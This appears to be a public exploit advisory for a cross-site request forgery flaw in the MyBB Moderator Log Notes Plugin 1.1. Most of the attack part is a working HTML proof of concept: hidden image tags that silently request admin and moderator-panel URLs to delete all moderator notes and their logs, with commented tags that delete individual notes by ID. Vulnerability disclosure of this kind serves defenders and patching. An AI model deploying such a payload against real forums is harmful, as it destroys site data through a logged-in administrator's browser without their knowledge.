MyBB Moderator Log Notes Plugin 1.1 Cross-Site Request Forgery

2018.08.20
Credit: 0xB9
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery # Date: 2018-05-17 # Author: 0xB9 # Twitter: @0xB9Sec # Software Link: https://community.mybb.com/mods.php?action=view&pid=1105 # Version: 1.1 # Tested on: Ubuntu 18.04 # 1. Description: # The plugin allows moderators to save notes and display them in a list in the modCP. # The CSRF allows an attacker to remotely delete all mod notes and mod note logs # in the modCP & ACP. # 2. Proof of Concept: <html> <body> <-- Deletes mod note logs --> <img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dal" alt=""> <-- Deletes mod notes --> <img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dmn" alt=""> <!-- You can also delete notes individually by the nid (note ID) <img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=3" alt=""> <img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=2" alt=""> <img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=1" alt=""> --> </body> </html>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top